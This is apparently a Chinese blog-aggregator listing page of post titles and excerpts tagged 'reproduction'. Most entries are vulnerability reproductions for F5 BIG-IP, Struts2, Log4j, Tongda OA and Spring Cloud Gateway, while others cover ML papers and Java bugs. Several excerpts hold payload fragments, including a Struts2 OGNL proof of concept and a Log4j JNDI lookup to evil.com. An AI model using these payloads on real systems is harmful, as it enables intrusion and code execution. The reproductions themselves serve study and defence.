CVE复现

大模型量化技术原理-LLM.int8()、GPTQ

基于LLaMA-7B/Bloomz-7B1-mt复现开
吃果冻不吐果冻皮·2024-02-20 21:39

使用Postman拦截浏览器请求

在出现问题的时候，我们可能需要获取前端页面发送请求的数据，然后在测试环境发送相同的数据将问题复现。
咖啡加剁椒..·2024-02-20 21:07

弱网测试知多少

弱网测试的三个关键参数：上传速率、下载速率、丢包率验证丢包、延时的程序的处理机制在非正常情况下，出现bug的概率会增加：解决日常需求的支持外，会遇到用户反馈的一些无法简单复现的bug，有很大一部分原因是用户自身的网络环境波动
Wanna_55ed·2024-02-20 21:49

leetcode算法训练十八天|530.二叉搜索树的最小绝对差，501.二叉搜索树中的众数，236. 二叉树的最近公共祖先

代码随想录(programmercarl.com)学习时间：21：30-22：06记录时间：22：06状态：已听懂|未复写代码|最好复习1.看到问题后的初始想法与看完随想录后的心得时间最近比较急，先放弃复现代码
洗菜拉普达·2024-02-20 20:20

[CVE-2022-1388]F5-BIGIP iControl REST绕过授权访问漏洞

一、背景F5BIG-IP产品系列包括运行F5TMOS操作系统的硬件、模块化软件和虚拟设备。根据所选设备，可以添加一个或多个BIG-IP产品模块。产品包括：BIG-IP本地流量管理器(LTM)：基于全代理架构，具有缓存、压缩和tcp加速的本地负载平衡。BIG-IPDNS：智能全球站点负载平衡(GSLB)和权威DNS服务器。根据用户、网络和云性能条件分发DNS和应用程序请求。BIG-IP高级防火墙管理
一苇sec·2024-02-20 19:21

F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]

这篇文章主要是复现F5的漏洞，包括其被远程代码执行的过程，以及探究以下我们可以在F5上远程执行代码之后可以做哪些事情。环境搭建 F5的环境搭建教程在网上可以查到很多，这里大概介绍以下流程与心得。
Coder_preston·2024-02-20 19:51

F5 BIG-IP 高危漏洞可导致拒绝服务和代码执行

编译：代码卫士F5提醒称，BIG-IP中存在一个高危格式化字符串漏洞(CVE-2023-22374)，可导致认证攻击者触发拒绝服务条件并可能执行任意代码。
奇安信代码卫士·2024-02-20 19:20

【漏洞复现】F5 BIG-IP 远程代码执行漏洞(CVE-2023-46747)

F5BIG-IP远程代码执行漏洞(CVE-2023-46747)漏洞描述F5BIG-IP远程代码执行漏洞(CVE-2023-46747)，未经授权的远程攻击者通过管理端口或自身IP地址访问BIG-IP系统
webQD153·2024-02-20 19:19

黑客利用Exchange漏洞传播新型勒索病毒

根据微软官方统计，目前发现已有4个漏洞被用于攻击，分别为:CVE-2021-26855、CVE-2021-26857、CVE-2021-26858、CVE-2021-27065。
熊猫正正·2024-02-20 19:49

命令执行漏洞超详细讲解

——————————————目录一、原理二、利用条件三、漏洞分类1、远程命令执行漏洞2、远程代码执行漏洞四、认识命令连接符1、window层面2、linux层面五、漏洞的产生原因六、漏洞的危害七、漏洞复现
摆烂阳·2024-02-20 17:06

【BUUCTF 加固题】Ezsql 速通

博主介绍‍博主介绍：大家好，我是hacker-routing，很高兴认识大家~✨主攻领域：【渗透领域】【应急响应】【Java】【VulnHub靶场复现】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连
hacker-routing·2024-02-20 17:50

Pytorch学习记录-接近人类水平的GEC（使用混合机器翻译模型）

五月第二周要结束了，接下来的三个月主要是文献阅读，准备8、9月的开题报告，技术类的文献集中在GEC和Textmaching的应用方面，读完之后找demo复现，然后应用。
我的昵称违规了·2024-02-20 16:04

[旧文系列] Struts2历史高危漏洞系列-part2：S2-007/S2-008/S2-009

文章目录关于前言S2-007漏洞复现与分析可回显PoC漏洞修复S2-008漏洞复现与分析Vuln-1：RemotecommandexecutioninCookieInterceptorVuln-2：RemotecommandexecutioninDebuggingInterceptorVuln
xc8qanAFenlka@x1·2024-02-20 14:19

0x26.Apache Struts2远程代码执行漏洞(S2-019)复现

s2-019：动态方法调用是一种已知会施加可能的安全漏洞的机制，但到目前为止，它默认启用，警告用户应尽可能将其关闭；构造poc：?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_membe
半情调·2024-02-20 14:19

Struts2 S2-045漏洞复现

1.漏洞概述OGNL是ObjectGraphicNavigationLanguage(对象图导航语言)的缩写，它是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。struts2的rce本质都是一样的(除了S2-052以外)，都是Struts2框架执行了恶意用户传进来的OGNL表达式，造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等，只不
你能拿我咋的·2024-02-20 14:48

ESP32-Cam学习（2）——PC实时显示摄像头画面

(itprojects.cn)https://doc.itprojects.cn/0006.zhishi.esp32/02.doc/index.html#/e03.showvideo我主要记录一下我在复现的过程中
嵌入式小李·2024-02-20 14:02

stable diffusion官方版本复现

踩了一些坑，来记录下环境CentOSLinuxrelease7.5.1804(Core)服务器RTX3090复现流程按照StableDiffusion的readme下载模型权重、我下载的是stable-diffusion-v1
Zhuanshan_·2024-02-20 13:18

9、内网安全-横向移动&Exchange服务&有账户CVE漏洞&无账户口令爆破

用途：个人学习笔记，有所借鉴，欢迎指正！背景：在内网环境的主机中，大部分部署有Exchange邮件服务，对于Exchange服务的漏洞也是频出，在这种情况下，如果拿到内网中一台主机权限，便可以针对部署Exchange邮件服务的主机进行横向移动，以下包括三方面：Exchange探针、Exchange爆破、Exchange漏洞利用知识点：1、横向移动-内网服务-Exchange2、横向移动-无账户-E
++⁠⁠·2024-02-20 12:26

cpu的指令重排，禁用办法

关键字总结-CSDN博客，我们讲了两个volatile变量可以限制编译器对指令的重排，但是限制不了cpu层面的指令重排这篇博客开始，我们演示下cpu层面的指令重排，以及如何禁止cpu层面的指令重排实验一：复现
YZF_Kevin·2024-02-20 12:12

XMall 开源商城 SQL注入漏洞复现(CVE-2024-24112)

0x01产品简介XMall开源电商商城是开发者Exrick的一款基于SOA架构的分布式电商购物商城前后端分离前台商城:Vue全家桶后台管理:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等。0x02漏洞概述XMall开源商城/item/list、/item/listSearch、/sys/log、/order/list、/m
OidBoy_G·2024-02-20 11:27

ConcurrentHashMap的死循环问题

文章目录前言1.情景复现2.源码解析3.代码调试4.原因5.解决前言对于ConcurrentHashMap来说，能保证多线程下的安全问题，但是在JDK1.8中还是会出现一个bug，就是computeIfAbsent
JWASX·2024-02-20 11:19

JDK1.8的HashMap死循环复现

文章目录前言正文前言下面聊聊JDK1.7HashMap的死循环问题，在这之前首先要知道JDK1.7的HashMap底层是数组+链表的形式的正文JDK1.8解决了JDK1.7的头插法导致死循环的问题，但是JDK1.8同样会死循环，下面我们用两个线程进行演示abstractclassTest{publicstaticvoidmain(String[]args)throwsInterruptedExce
JWASX·2024-02-20 11:49

electron Tab加载动画开启和关闭

复现步骤：使用账号登录客户端系统。点击菜
明长歌·2024-02-20 09:43

【BP回归预测】基于粒子群算法优化BP神经网络车位预测附Matlab代码

✅作者简介：热爱科研的Matlab仿真开发者，修心和技术同步精进，代码获取、论文复现及科研仿真合作可私信。个人主页：Matlab科研工作室个人信条：格物致知。
matlab科研助手·2024-02-20 09:41

基于生物地理学算法优化卷积神经网络结合支持向量机BBO-CNN-SVM实现瓦斯数据回归预测附Matlab代码

✅作者简介：热爱科研的Matlab仿真开发者，修心和技术同步精进，代码获取、论文复现及科研仿真合作可私信。个人主页：Matlab科研工作室个人信条：格物致知。
天天Matlab代码科研顾问·2024-02-20 09:40

【风电预测】基于Logistic混沌映射改进的麻雀算法优化BP神经网络风电功率预测附Matlab代码

✅作者简介：热爱科研的Matlab仿真开发者，修心和技术同步精进，代码获取、论文复现及科研仿真合作可私信。个人主页：Matlab科研工作室个人信条：格物致知。
前程算法matlab屋·2024-02-20 09:37

Python复现2024年春晚刘谦魔术

正好用python复现这个问题。初一构思，初三今天一上午实现。魔术原理：数学原理约瑟夫环问题，要用到迭代的一些东西，其他的不做过多解释。使用对应的算法代码解决就行。
技术带师御坂云·2024-02-20 08:20

sora参考文献整理及AI论文工作流完善（更新中）

AI可以如何帮助我们快速地获取、总结并复现论文。不瞒你说，春节放大假当我还沉浸在老头环
YingCai85·2024-02-20 08:27

threehit漏洞复现以及防御

说白了跟sql-liql靶场二次注入一样，也是一个转义函数而这次是，入库的时候不转义，出库的时候会转义导致这个漏洞出现开始测试：这是我注册完test刚登录的情况找注入点更新数据的update，很容易找到在age段这次我注册的时候用户还是test，但是年龄我对后面进行了省略可以看到我直接登录到管理员上了防御：可以进行强转这样无法闭合漏洞也就无法实现了
凌晨五点的星·2024-02-20 07:35

【漏洞复现】H3C 路由器多系列信息泄露漏洞

Nx01产品简介H3C路由器是一款高性能的路由器产品，具有稳定的性能和丰富的功能。它采用了先进的路由技术和安全机制，可以满足不同用户的需求，广泛应用于企业、运营商和数据中心等领域。Nx02漏洞描述H3C路由器多系列存在信息泄露漏洞，攻击者可以利用该漏洞获取备份文件中的管理员账户及密码等敏感信息。Nx03产品主页hunter-query:app.name="H3CRouterManagement"N
晚风不及你ღ·2024-02-20 06:18

vulhub中Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）

ApacheLog4j2是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入，执行任意代码。1.服务启动后，访问`http://your-ip:8983`即可查看到ApacheSolr的后台页面。2.`$
余生有个小酒馆·2024-02-20 06:39

vulhub中Apache Log4j Server 反序列化命令执行漏洞复现（CVE-2017-5645）

ApacheLog4j是一个用于Java的日志记录库，其支持启动远程日志服务器。ApacheLog4j2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。1.我们使用ysoserial生成payload，然后直接发送给`your-ip:4712`端口即可。java-jarysoserial-master-v0.0.5-gb617b7b-16.jarCommonsCollect
余生有个小酒馆·2024-02-20 06:23

英文论文（sci）解读复现【NO.18】基于DS-YOLOv8的目标检测方法用于遥感图像

解读的系列文章，本人会进行创新点代码复现，有需要的朋友可关注私信我获取。一、摘要改进的YOLOv8模型（DCN_C2f+SC_
人工智能算法研究院·2024-02-19 23:01

英文论文（sci）解读复现【NO.20】TPH-YOLOv5++：增强捕获无人机的目标检测跨层不对称变压器的场景

解读的系列文章，本人会进行创新点代码复现，有需要的朋友可关注私信我获取。一、摘要无人机拍摄图像中的目标检测是近年来的一项热门任
人工智能算法研究院·2024-02-19 23:01

英文论文（sci）解读复现【NO.21】一种基于空间坐标的轻量级目标检测器无人机航空图像的自注意

解读的系列文章，本人会进行创新点代码复现，有需要的朋友可关注私信我获取。一、摘要目标检测是众多无人驾驶最广泛的应用之一飞行器（
人工智能算法研究院·2024-02-19 23:27

【漏洞复现-通达OA】通达OA getcallist存在前台SQL注入漏洞

一、漏洞简介通达OA（OfficeAnywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。通达OAgetcallist存在前台SQL注入漏
xiaokp7·2024-02-19 20:39

【漏洞复现-通达OA】通达OA swfupload_new存在前台SQL注入漏洞

一、漏洞简介通达OA（OfficeAnywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。通达OAswfupload_new存在前台SQL
xiaokp7·2024-02-19 20:39

【漏洞复现-通达OA】通达OA video_file.php 任意文件下载漏洞

二、影响版本●通达OA2011三、资产测绘●hunterapp.name="通达OA"●特征四、漏洞复现GET/general/mytable/intel_view/video_file.php?
xiaokp7·2024-02-19 20:32

【旧文更新】【优秀毕设】人脸识别打卡/签到/考勤管理系统（OpenCV+最简基本库开发、可移植树莓派 扩展网络图像推流控制 验证码及Excel邮件发送等功能）

可移植树莓派扩展网络图像推流控制验证码及Excel邮件发送等功能）文章目录关于旧文新发毕设结构主页面验证码识别效果管理页面人脸信息采集管理实时数据更新签到结果邮件发送网络前端效果实时图像推流附录：列表的赋值类型和py打包列表赋值BUG复现代码改进优化总结
网易独家音乐人Mike Zhou·2024-02-19 20:46

赶街Android app问题怎么定位

我自己又试了一遍发现问题可以重现，然后我以为是汪豪写的，我就把bug复现给汪豪看了，然后汪豪的处理方式，竟然是在自己手机上试了一下没有出现之后，把我手机拿去重装了，完全没有问我是什么情况下出现，在没有复现出来之后
在下陈小村·2024-02-19 20:12

SSTI模板注入漏洞(vulhub 复现)

首先了解模板引擎：模板引擎（这里特指用于Web开发的模板引擎）是为了使用户界面与业务数据（内容）分离而产生的，它可以生成特定格式的文档，利用模板引擎来生成前端的html代码，模板引擎会提供一套生成html代码的程序，然后只需要获取用户的数据，然后放到渲染函数里，然后生成模板+用户数据的前端html页面，然后反馈给浏览器，呈现在用户面前。模板引擎也会提供沙箱机制来进行漏洞防范，但是可以用沙箱逃逸技术
bK_Rose·2024-02-19 19:21

[Flask]SSTI1 buuctf

csdn要我一天发两篇所以我来水的跟ssti注入的详细知识我这里写了https://blog.csdn.net/weixin_74790320/article/details/136154130上面链接我复现了
bK_Rose·2024-02-19 19:44

【漏洞复现-通达OA】通达OA share存在前台SQL注入漏洞

一、漏洞简介通达OA（OfficeAnywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。通达OA/share/handle.php存在S
xiaokp7·2024-02-19 18:52

Nacos系统历史CVE漏洞的复现分析与检测

文章目录前言CVE-2021-29441认证绕过1.1环境搭建与复现1.2漏洞源码的分析1.3修复方案被绕过1.4衍生的默认凭据QVD-2023-6271默认密钥2.1环境搭建与复现2.2漏洞修复与现状
Tr0e·2024-02-19 16:24

Apache Apisix网关系统历史漏洞复现分析

文章目录前言CVE-2020-13945默认api令牌CVE-2021-45232未授权接口2.1默认账户密码导致RCE2.2未授权访问api接口RCECVE-2022-24112地址限制绕过CVE-2022
Tr0e·2024-02-19 16:46

利用C语言编程从数学角度揭秘2024春晚刘谦魔术《守岁共此时》

目录一、魔术《守岁共此时》的步骤二、揭秘魔术《守岁共此时》三、数学模型约瑟夫问题（约瑟夫环）四、编程复现魔术《守岁共此时》五、程序运行结果一、魔术《守岁共此时》的步骤在今年的春晚里，魔术师刘谦表演了一个和纸牌相关的魔术
@HNUSTer·2024-02-19 14:41

Panalog 日志审计系统 sessiptbl.php 前台RCE漏洞复现

0x03影响范围version<=MARSr10p1Free0x04复现环境FOFA：app="Panabit-Panalog"0x05漏洞复现PoCPOST/sessipt
OidBoy_G·2024-02-19 14:55

CVE-2022-22947 Spring Cloud Gateway RCE漏洞复现分析

目录（一）基本介绍1、微服务架构与SpringCloud2、SpringCloud生态3、网关作用4、SpringCloudGateway使用5、SpringCloudGateway概念5.1路由（Route）5.2断言（Predicate）5.3过滤器（Filter）6、SpringBootActuator6.1使用方法7、Gateway(网关服务)和Actuator(监控组件)8、Actuat
@Camelus·2024-02-19 13:52

【Web】CVE-2022-22947 SpringCloud Gateway SpEL漏洞学习

目录简介Actuator操作Gateway接口列表复现流程漏洞复现简单原理简介SpringBootActuator和SpringCloudGateway是Spring生态系统中的两个关键组件，它们在微服务架构中扮演着不同的角色
Z3r4y·2024-02-19 13:48

大盘点 | 何恺明团队在自监督领域的工作：MoCo三部曲

点击下方卡片，关注“CVer”公众号AI/CV重磅干货，第一时间送达本文转载自：Smarter趁着最近FAIR出了MoCov3，刚好凑够MoCo三部曲，从头捋一遍MoCo整个系列做了什么事情，探究MoCo
Amusi（CVer）·2024-02-19 12:18
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他